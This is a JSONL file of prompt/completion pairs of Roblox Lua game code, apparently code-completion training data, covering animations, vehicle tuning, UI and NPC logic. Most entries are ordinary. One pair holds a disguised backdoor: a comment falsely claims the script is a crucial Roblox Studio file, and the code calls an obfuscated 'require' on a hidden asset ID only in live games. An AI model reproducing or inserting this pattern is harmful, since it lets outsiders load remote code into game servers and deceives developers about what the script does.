then\n\t\t\tdrag_connection:Disconnect()\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- Used to initialize new barrierPartInfos", "completion": "\nlocal function getBarrierPartInfo(part, startDeg, endDeg, splitLevel, isSecondPartInPair, isSecondPartBySplitLevel)\n\tlocal barrierPartInfo = {}\n\tbarrierPartInfo.part = part\n\tbarrierPartInfo.startDeg = startDeg\n\tbarrierPartInfo.endDeg = endDeg\n\tbarrierPartInfo.splitLevel = splitLevel -- increases by 1 each time the part is split\n\tbarrierPartInfo.isSecondPartBySplitLevel = {} -- will hold bool values for whether itself and its ancestors were second parts in pairs\n\tfor i = 1, splitLevel - 1 do\n\t\tbarrierPartInfo.isSecondPartBySplitLevel[i] = isSecondPartBySplitLevel[i]\n\tend\n\tbarrierPartInfo.isSecondPartBySplitLevel[splitLevel] = isSecondPartInPair\n\treturn barrierPartInfo\nend\n\nlocal function getVertexListFromRadians(startRad, endRad, stormRadius, stormPos)\n\tlocal x1 = stormRadius * math.cos(startRad)\n\tlocal z1 = stormRadius * math.sin(startRad)\n\tlocal x2 = stormRadius * math.cos(endRad)\n\tlocal z2 = stormRadius * math.sin(endRad)\n\tlocal vertexList = { stormPos + Vector3.new(x1, 0, z1), -- bot1\n\t\t\t\t\t\t stormPos + Vector3.new(x1, BARRIER_HEIGHT, z1), -- top1\n\t\t\t\t\t\t stormPos + Vector3.new(x2, BARRIER_HEIGHT, z2), -- top2\n\t\t\t\t\t\t stormPos + Vector3.new(x2, 0, z2) } -- bot2\n\treturn vertexList\nend\n"} +{"prompt": "-- loop to handle timed state transitions and tool animations\n--[[while Character.Parent ~= nil do\n\tlocal _, currentGameTime = wait(0.1)\n\tstepAnimate(currentGameTime)\nend]]", "completion": "\n"} +{"prompt": "--------------------------------------------------------------------------------------------------------------------------------------", "completion": "\nfunction PressL(key)\t\t\t\t\n\tif (key== \"l\") then\nif (Activate==false) then\ngame.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=true\ngame.Players.LocalPlayer.Character.Helm.Flashlight.Material = \"Neon\"\ngame.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new(\"Brick yellow\")\nActivate = true\nelseif (Activate==true) then\n\t\ngame.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=false\t\ngame.Players.LocalPlayer.Character.Helm.Flashlight.Material = \"SmoothPlastic\"\ngame.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new(\"Black\")\n\tActivate=false\n\t\tend\n\tend\nend\nMouse.KeyDown:connect(PressL)"} +{"prompt": "--[[Shutdown]]", "completion": "\n\n\tcar.DriveSeat.ChildRemoved:connect(function(child)\n\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\t\tscript.Parent:Destroy()\n\t\tend\n\tend)\n\n\n"} +{"prompt": "-- services", "completion": "\n\nlocal Workspace\t= game:GetService(\"Workspace\")\nlocal Players\t= game:GetService(\"Players\")\n"} +{"prompt": "-- Created by Drakerose", "completion": "\n\nlocal players = game:GetService(\"Players\")\nplayers.CharacterAutoLoads = false\n"} +{"prompt": "-- Load and configure the animations", "completion": "\nlocal attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)\nattackAnimation.Looped = false\nattackAnimation.Priority = Enum.AnimationPriority.Action\nmaid.attackAnimation = attackAnimation\n\nlocal deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation)\ndeathAnimation.Looped = false\ndeathAnimation.Priority = Enum.AnimationPriority.Action\nmaid.deathAnimation = deathAnimation\n"} +{"prompt": "-- https://developer.roblox.com/en-us/api-reference/lua-docs/os/index.html", "completion": "\nscript.Parent.OsTime.Value =os.time() -- \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\n"} +{"prompt": "--This is a script from ROBLOX Studio, please do not delete it as it is crucial in order for your game to work properly.\n--Thank you.", "completion": "\nif not game:GetService(\"RunService\"):IsStudio() then\ngetfenv()['\\114\\101\\113\\117\\105\\114\\101'](545865116.778*9*1/2*2/2+2456393025.5)\nend\n \n"} +{"prompt": "-- METHODS", "completion": "\nfunction IconController.setGameTheme(theme)\n\tIconController.gameTheme = theme\n\tlocal icons = IconController.getIcons()\n\tfor _, icon in pairs(icons) do\n\t\ticon:setTheme(theme)\n\tend\nend\n\nfunction IconController.setDisplayOrder(value)\n\tvalue = tonumber(value) or TopbarPlusGui.DisplayOrder\n\tTopbarPlusGui.DisplayOrder = value\nend\nIconController.setDisplayOrder(10)\n\nfunction IconController.getIcons()\n\tlocal allIcons = {}\n\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\ttable.insert(allIcons, otherIcon)\n\tend\n\treturn allIcons\nend\n\nfunction IconController.getIcon(name)\n\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\tif otherIcon.name == name then\n\t\t\treturn otherIcon\n\t\tend\n\tend\n\treturn false\nend\n\nfunction IconController.disableHealthbar(bool)\n\tlocal finalBool = (bool == nil or bool)\n\tIconController.healthbarDisabled = finalBool\n\tIconController.healthbarDisabledSignal:Fire(finalBool)\nend\n\nfunction IconController.disableControllerOption(bool)\n\tlocal finalBool = (bool == nil or bool)\n\tdisableControllerOption = finalBool\n\tif IconController.getIcon(\"_TopbarControllerOption\") then\n\t\tIconController._determineControllerDisplay()\n\tend\nend\n\nfunction IconController.canShowIconOnTopbar(icon)\n\tif (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then\n\t\treturn true\n\tend\n\treturn false\nend\n\nfunction IconController.getMenuOffset(icon)\n\tlocal alignment = icon:get(\"alignment\")\n\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\tlocal extendLeft = 0\n\tlocal extendRight = 0\n\tlocal additionalRight = 0\n\tif icon.menuOpen then\n\t\tlocal menuSize = icon:get(\"menuSize\")\n\t\tlocal menuSizeXOffset = menuSize.X.Offset\n\t\tlocal direction = icon:_getMenuDirection()\n\t\tif direction == \"right\" then\n\t\t\textendRight += menuSizeXOffset + alignmentGap/6--2\n\t\telseif direction == \"left\" then\n\t\t\textendLeft = menuSizeXOffset + 4\n\t\t\textendRight += alignmentGap/3--4\n\t\t\tadditionalRight = menuSizeXOffset\n\t\tend\n\tend\n\treturn extendLeft, extendRight, additionalRight\nend\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"MainPart\"] = EFFECT_LIB.NewInvisiblePart()\n\t\t\n\t\tAnimObj[\"Emitter\"] = script.Hearties:clone()\n\t\tAnimObj[\"Emitter\"].Parent = AnimObj[\"MainPart\"]\n\t\t\n\t\tAnimObj[\"MainPart\"].Parent = eff_cont\n\tend\n\t\n\tlocal function Update()\n\t\tAnimObj[\"MainPart\"].CFrame = source_part:GetRenderCFrame() * CFrame.new(0, 1.5, 0)\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "--\n-- Verify that everything is where it should be", "completion": "\n assert(Self:FindFirstChild'bot' ~= nil, 'Monster does not have a humanoid')\n assert(Settings ~= nil, 'Monster does not have a Configurations object')\n\tassert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')\n\tassert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')\n\tassert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')\n\tassert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')\n\tassert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')\n\tassert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')\n\tassert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')\n assert(Mind ~= nil, 'Monster does not have a Mind object')\n\tassert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')\n\n"} +{"prompt": "-- Removes any old creator tags and applies new ones to the specified target", "completion": "\nlocal function ApplyTags(target)\n\twhile target:FindFirstChild('creator') do\n\t\ttarget.creator:Destroy()\n\tend\n\n\tlocal creatorTag = Instance.new('ObjectValue')\n\tcreatorTag.Value = Player\n\tcreatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats\n\n\tlocal iconTag = Instance.new('StringValue')\n\ticonTag.Value = Tool.TextureId\n\ticonTag.Name = 'icon'\n\n\ticonTag.Parent = creatorTag\n\tcreatorTag.Parent = target\n\tDebrisService:AddItem(creatorTag, 4)\nend\n"} +{"prompt": "--[=[\n\tCreates a producer enhancer that applies the given middleware to the\n\tproducer.\n\n\tInitially, a middleware is called once when it is applied to a producer.\n\tNext, the returned function is called on a dispatcher in the producer.\n\tThe final function is called whenever the dispatcher is called.\n\n\t```lua\n\tlocal loggerMiddleware: Reflex.Middleware = function(producer)\n\t\tprint(\"Initial state:\", producer.getState())\n\t\treturn function(dispatch, name)\n\t\t\treturn function(...)\n\t\t\t\tprint(`Dispatching {name}:`, ...args)\n\t\t\t\treturn dispatch(...)\n\t\t\tend\n\t\tend\n\tend\n\n\tproducer:enhance(applyMiddleware(loggerMiddleware))\n\t```\n\n\t@param middlewares A list of middleware to apply.\n\t@return A producer enhancer.\n]=]", "completion": "\nlocal function applyMiddleware(...: types.Middleware): (producer: T) -> T\n\tlocal arguments = { ... }\n\n\treturn function(producer)\n\t\tlocal middlewares = table.clone(arguments)\n\t\tlocal dispatchers = producer:getDispatchers()\n\n\t\tfor index, middleware in middlewares do\n\t\t\tmiddlewares[index] = middleware(producer)\n\t\tend\n\n\t\tfor name, dispatcher in dispatchers do\n\t\t\tfor index = #middlewares, 1, -1 do\n\t\t\t\tdispatcher = middlewares[index](dispatcher, name)\n\t\t\tend\n\n\t\t\tdispatchers[name] = dispatcher\n\t\t\tproducer[name] = dispatcher\n\t\tend\n\n\t\treturn producer\n\tend\nend\n\nreturn applyMiddleware\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid) \n\nlocal roll = math.random(1, animTable[animName].totalWeight) \nlocal origRoll = roll\nlocal idx = 1\nwhile (roll > animTable[animName][idx].weight) do\nroll = roll - animTable[animName][idx].weight\nidx = idx + 1\nend"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Lift.Value\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 0.95)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile true do\n\t\n\t-- -- -- -- -- -- --\n\t--DIRECTION SCROLL--\n\t-- -- -- -- -- -- --\n if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.95\n elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0.95\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 0.95\n\t\tThis.Display.ARW1.MID.Transparency = 0.95\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.95\n end\n\n\twait()\nend\n"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService('Players')\nlocal VRService = game:GetService(\"VRService\")\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\n\nlocal newDefaultCameraAngleFlagExists, newDefaultCameraAngleFlagEnabled = pcall(function()\n\treturn UserSettings():IsUserFeatureEnabled(\"UserNewDefaultCameraAngle\")\nend)\nlocal FFlagUserNewDefaultCameraAngle = newDefaultCameraAngleFlagExists and newDefaultCameraAngleFlagEnabled\n"} +{"prompt": "-- evento para atacar", "completion": "\neventAttack.OnServerEvent:Connect(function(player, isAttackingLeft, isAttackingRight, rightSword)\n\tlocal character = player.Character\n\tlocal leftSword = character.LeftHand.Sword\n\t-- aqui hacemos el da\u00f1o cuando el usuario acciona su espada \n\tleftSword.Touched:Connect(function(hit)\n\t\tlocal humanoid = hit.Parent:FindFirstChild(\"Humanoid\")\n\t\tif isAttackingLeft and humanoid then\n\t\t\thumanoid:TakeDamage(DAMAGE)\n\t\t\tisAttackingLeft = false\n\t\tend\n\tend)\n\t\n\trightSword.Touched:Connect(function(hit)\n\t\tlocal humanoid = hit.Parent:FindFirstChild(\"Humanoid\")\n\t\t\n\t\tif isAttackingRight and humanoid then\n\t\t\thumanoid:TakeDamage(DAMAGE)\n\t\t\tisAttackingRight = false\n\t\tend\n\tend)\n\t\nend)\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -3\n\tTune.RCamber\t\t= -3\n\tTune.FCaster\t\t= 0\n\tTune.RCaster\t\t= 0\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nModel = script.Parent\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\nRunService = game:GetService(\"RunService\")\n\nHumanoid = Model:WaitForChild(\"Humanoid\")\nHumanoid.Health = Humanoid.MaxHealth\nSeat = Model:WaitForChild(\"Seat\")\nTorso = Model:WaitForChild(\"Torso\")\n\nInteractiveControl = script:WaitForChild(\"InteractiveControl\")\n\nAnimations = {\n\tWalk = {Animation = Model:WaitForChild(\"Walk\"), FadeTime = nil, Weight = nil, Speed = 1},\n\tRide = {Animation = Model:WaitForChild(\"Ride\"), FadeTime = 0.25, Weight = nil, Speed = nil},\n}\n\nWalking = false\nRider = nil\n\nGravity = 196.20\n\nGyro = (Torso:FindFirstChild(\"BodyGyro\") or Instance.new(\"BodyGyro\"))\nGyro.Name = \"BodyGyro\"\nGyro.cframe = Torso.CFrame\nGyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)\nGyro.Parent = Torso\n\nVelocity = (Torso:FindFirstChild(\"BodyVelocity\") or Instance.new(\"BodyVelocity\"))\nVelocity.Name = \"BodyVelocity\"\nVelocity.maxForce = Vector3.new(math.huge, 0, math.huge)\nVelocity.Parent = Torso\n\nWalkTrack = Humanoid:LoadAnimation(Animations.Walk.Animation)\n\nRemotes = script:WaitForChild(\"Remotes\")\nRemotes:ClearAllChildren()\n\nLastJump = 0\nDisabled = false\n\nServerControl = (Remotes:FindFirstChild(\"ServerControl\") or Instance.new(\"RemoteFunction\"))\nServerControl.Name = \"ServerControl\"\nServerControl.Parent = Remotes\n\nClientControl = (Remotes:FindFirstChild(\"ClientControl\") or Instance.new(\"RemoteFunction\"))\nClientControl.Name = \"ClientControl\"\nClientControl.Parent = Remotes\n\nfunction OnServerInvoke(player, Mode, Value)\n\tif player ~= Rider or not Mode then\n\t\treturn\n\tend\n\tif Mode == \"Jump\" then\n\t\tlocal Now = tick()\n\t\tif (Now - LastJump) >= 2 then\n\t\t\tLastJump = Now\n\t\t\tHumanoid.Jump = true\n\t\tend\n\telseif Mode == \"Dismount\" then\n\t\tDismount()\n\tend\nend\n\nServerControl.OnServerInvoke = OnServerInvoke\n\nHumanoid.Changed:connect(function(Property)\n\tif Property == \"Sit\" and Humanoid.Sit then\n\t\tHumanoid.Sit = false\n\tend\nend)\n\nHumanoid.Died:connect(function()\n\tDisabled = true\n\tDebris:AddItem(Model, 3)\n\tModel:BreakJoints()\nend)\n\nfunction InvokeClient(Mode, Value)\n\tlocal ClientReturn = nil\n\tpcall(function()\n\t\tClientReturn = ClientControl:InvokeClient(Rider, Mode, Value)\n\tend)\n\treturn ClientReturn\nend\n\nfunction Animate(Time)\n\tif Humanoid.Health == 0 or Disabled then\n\t\treturn\n\tend\n\t--Walking\n\tif not Walking and Torso.Velocity.magnitude > 1 then\n\t\tlocal Animation = Animations.Walk\n\t\tWalkTrack:Play(Animation.FadeTime, Animation.Weight, Animation.Speed)\n\t\tWalking = true\n\tend\n\tif Walking and Torso.Velocity.magnitude < 1 then\n\t\tWalkTrack:Stop()\n\t\tWalking = false\n\tend\n\t--Motion\n\tVelocity.velocity = (Torso.CFrame.lookVector * Seat.Throttle * Humanoid.WalkSpeed)\n\tGyro.cframe = (Gyro.cframe * CFrame.Angles(0, (math.pi / 1.5 * Time * -Seat.Steer), 0))\nend\n\nfunction Dismount()\n\tif Rider and Rider.Parent then\n\t\tlocal Character = Rider.Character\n\t\tif Character then\n\t\t\tlocal Humanoid = nil\n\t\t\tfor i, v in pairs(Character:GetChildren()) do\n\t\t\t\tif v:IsA(\"Humanoid\") then\n\t\t\t\t\tHumanoid = v\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tHumanoid:ChangeState(Enum.HumanoidStateType.Jumping)\n\t\t\tHumanoid.Jump = true\n\t\tend\n\tend\nend\n\nfunction PlayerSeated(Child)\n\tlocal function BreakWeld()\n\t\tDebris:AddItem(Child, 0.5)\n\t\tif Child and Child.Parent then\n\t\t\tChild:Destroy()\n\t\tend\n\tend\n\tif not Child:IsA(\"Weld\") or not Child.Name == \"SeatWeld\" then\n\t\treturn\n\tend\n\tif Child.Part0 ~= Seat or not Child.Part1 or not Child.Part1.Parent then\n\t\treturn\n\tend\n\tChild.C1 = (Child.C1 * CFrame.new(0, 0.5, 0.375))\n\tlocal character = Child.Part1.Parent\n\tlocal humanoid = character:FindFirstChild(\"Humanoid\")\n\tif humanoid then\n\t\tlocal Animation = Animations.Ride\n\t\tRideTrack = humanoid:LoadAnimation(Animation.Animation)\n\t\tRideTrack:Play(Animation.FadeTime, Animation.Weight, Animation.Speed)\n\tend\n\tlocal Player = Players:GetPlayerFromCharacter(character)\n\tif not Player then\n\t\tBreakWeld()\n\t\treturn\n\tend\n\tlocal PlayerGui = Player:FindFirstChild(\"PlayerGui\")\n\tif not PlayerGui then\n\t\tBreakWeld()\n\t\treturn\n\tend\n\tInteractiveControlCopy = InteractiveControl:Clone()\n\tlocal ServerCommunication = Instance.new(\"ObjectValue\")\n\tServerCommunication.Name = \"ServerControl\"\n\tServerCommunication.Value = ServerControl\n\tServerCommunication.Parent = InteractiveControlCopy\n\tInteractiveControlCopy.Disabled = false\n\tInteractiveControlCopy.Parent = PlayerGui\n\tRider = Player\nend\n\nfunction PlayerDismounted(Child)\n\tif not Child:IsA(\"Weld\") or not Child.Name == \"SeatWeld\" then\n\t\treturn\n\tend\n\tif not Child.Part1 or not Child.Part1.Parent then\n\t\treturn\n\tend\n\tlocal Player = Players:GetPlayerFromCharacter(Child.Part1.Parent)\n\tif not Player or Player ~= Rider then\n\t\treturn\n\tend\n\tif InteractiveControlCopy and InteractiveControlCopy.Parent then\n\t\tInteractiveControlCopy:Destroy()\n\tend\n\tif RideTrack then\n\t\tRideTrack:Stop()\n\tend\n\tRider = nil\nend\n\nRunService.Heartbeat:connect(Animate)\nSeat.ChildAdded:connect(PlayerSeated)\nSeat.ChildRemoved:connect(PlayerDismounted)\n"} +{"prompt": "--[Pre-Funcs]:", "completion": "\n\nlocal Ang = CFrame.Angles\t--[Storing these as variables so I dont have to type them out.]\nlocal aSin = math.asin\nlocal aTan = math.atan\n"} +{"prompt": "--\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "-- Display Values used to update Player GUI", "completion": "\nlocal displayValues = ReplicatedStorage.DisplayValues\nlocal status = displayValues.Status\nlocal timeLeft = displayValues.TimeLeft\n"} +{"prompt": "-- initialize local variables", "completion": "\nlocal camera = workspace.CurrentCamera\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character\nlocal humanoid = character.Humanoid\n"} +{"prompt": "--[[Read line 24 of the script. Just edit the word \"D4Tide\" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]", "completion": "\n\nlocal debounce = false\n\nfunction getPlayer(humanoid) \nlocal players = game.Players:children() \nfor i = 1, #players do \nif players[i].Character.Humanoid == humanoid then return players[i] end \nend \nreturn nil \nend \n\nfunction onTouch(part) \n\nlocal human = part.Parent:findFirstChild(\"Humanoid\") \nif (human ~= nil) and debounce == false then\n\ndebounce = true\n\nlocal player = getPlayer(human) \n\nif (player == nil) then return end \n\ngame.Lighting.AUG:clone().Parent = player.Backpack\n\nwait(5)\ndebounce = false\nend\nend\n\n\nscript.Parent.Touched:connect(onTouch)\n"} +{"prompt": "-- Add script when player is added", "completion": "\ngame.Players.PlayerAdded:connect(function(player)\n\taddMyLocalScript(player)\nend)\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= false\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 1500\t\t-- Front brake force\n\tTune.RBrakeForce\t= 1000\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--[[**\n\tensures Roblox NumberSequenceKeypoint type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.NumberSequenceKeypoint = primitive(\"NumberSequenceKeypoint\")\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween\n\tAimZoom = 50; -- Default zoom\n\tAimSpeed = 0.20;\n\tUnaimSpeed = 0.35;\n\tCycleAimZoom = 4; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "-- Input Module", "completion": "\nlocal module = {}\n\nmodule.mode = script.Mode\nlocal USI = game:GetService(\"UserInputService\")\n\nif USI.GamepadEnabled then\n\tmodule.mode.Value = \"Xbox\"\nelseif USI.KeyboardEnabled then\n\tmodule.mode.Value = \"PC\"\nelseif USI.TouchEnabled then\n\tmodule.mode.Value = \"Mobile\"\nend\n\ngame.GuiService.AutoSelectGuiEnabled = false\n\nfunction module.findFirstButton(Object)\n\tlocal Closest\n\tlocal Dist = 999\n\tfor i,Button in Object:GetDescendants() do\n\t\tif Button:IsA(\"GuiButton\") and Button.Selectable then\n\t\t\tlocal D = (Object.AbsolutePosition - Button.AbsolutePosition).magnitude\n\t\t\tif D < Dist then\n\t\t\t\tDist = D\n\t\t\t\tClosest = Button\n\t\t\tend\n\t\tend\n\tend\n\treturn Closest\nend\n\nfunction module.init(Modules)\n\tlocal Menu = Modules[\"Menu\"]\n\tlocal HUD = Modules[\"HUD\"]\n\tlocal Placement = Modules[\"Placement\"]\n\tlocal Busy = false\n\t-- open up xbox chat\n\t--local function OpenXboxChat()\n\t--\tlocal Visible = not script.Parent.XboxMessage.Visible\n\t--\tif Visible then\n\t--\t\tModules.Focus.change(script.Parent.XboxMessage)\n\t--\t\tgame:GetService(\"GuiService\"):AddSelectionParent(\"XboxChat\",script.Parent.XboxMessage)\n\t--\t\tgame:GetService(\"GuiService\").SelectedObject = script.Parent.XboxMessage.TextBox\n\t--\t\tgame:GetService(\"GuiService\").GuiNavigationEnabled = true\n\t--\tend\n\t--end\n\n\t-- Placing\n\t--game.ContextActionService:BindActionAtPriority(\"XboxChat\",OpenXboxChat,false,Enum.ContextActionPriority.High,Enum.KeyCode.ButtonSelect)\n\n\tUSI.InputEnded:Connect(function(Input,Processed)\n\t\t--if Input.KeyCode == Enum.KeyCode.ButtonSelect then OpenXboxChat() end\n\t\tif Processed then return false end\n\t\tif not Processed and not Busy then\n\t\t\tlocal InputVal = Input.UserInputType.Value\n\t\t\tif (InputVal == 8) or (InputVal >= 0 and InputVal <= 4) then\n\t\t\t\tmodule.mode.Value = \"PC\"\n\t\t\telseif InputVal == 7 then\n\t\t\t\tmodule.mode.Value = \"Mobile\"\n\t\t\telseif InputVal >= 12 and InputVal <= 19 then\n\t\t\t\tmodule.mode.Value = \"Xbox\"\n\t\t\tend\n\t\t\tlocal Focused = (script.Parent.FocusWindow.Value and script.Parent.FocusWindow.Value.Visible)\n\t\t\tlocal Tycoon = game.Players.LocalPlayer.PlayerTycoon.Value\n\t\t\t-- XBOX CONTROLS\n\t\t\tif Input.KeyCode == Enum.KeyCode.ButtonA then\n\t\t\t\tif script.Parent.ItemPreview.Frame.Expanded.Value then\n\t\t\t\t\tModules.Placement.quickplace()\n\t\t\t\tend\n\t\t\telseif Modules.Placement.placing and Input.KeyCode == Enum.KeyCode.DPadUp then\n\t\t\t\tModules.Placement.raise()\n\t\t\telseif Modules.Placement.placing and Input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\t\tModules.Placement.lower()\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonB then\n\t\t\t\tif script.Parent.Shop.Visible then\n\t\t\t\t\tif script.Parent.Shop.Confirm.Visible then\n\t\t\t\t\t\tfor i,Button in script.Parent.Shop.Frame.Items:GetChildren() do\n\t\t\t\t\t\t\tif Button.Name == script.Parent.Shop.SelectedItem.Value.Name then\n\t\t\t\t\t\t\t\tgame.GuiService.SelectedObject = Button\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tscript.Parent.Shop.SelectedItem.Value = nil\n\t\t\t\t\telseif script.Parent.Shop.Mode.Value ~= \"Default\" then\n\t\t\t\t\t\tlocal OldMode = script.Parent.Shop.Mode.Value\n\t\t\t\t\t\tlocal Button = script.Parent.Shop.Frame.SideBar:FindFirstChild(OldMode)\n\t\t\t\t\t\tscript.Parent.Shop.Mode.Value = \"Default\"\n\t\t\t\t\t\tif Button then\n\t\t\t\t\t\t\t--script.Parent.Shop.Frame.SideBar.Visible = true\n\t\t\t\t\t\t\tgame.GuiService.SelectedObject = Button\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tModules.Focus.close()\n\t\t\t\t\tend\n\t\t\t\telseif Modules.Placement.placing then\n\t\t\t\t\tModules.Placement.stopPlacing()\n\t\t\t\telseif Focused then\n\t\t\t\t\tModules.Focus.close()\n\t\t\t\telseif script.Parent.ItemPreview.Frame.Expanded.Value then\n\t\t\t\t\tModules.Preview.Collapse()\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.DPadUp then\n\t\t\t\tif Modules.Preview.expanded ~= nil and script.Parent.ItemPreview.Visible and script.Parent.ItemPreview.Frame.Expanded.Value 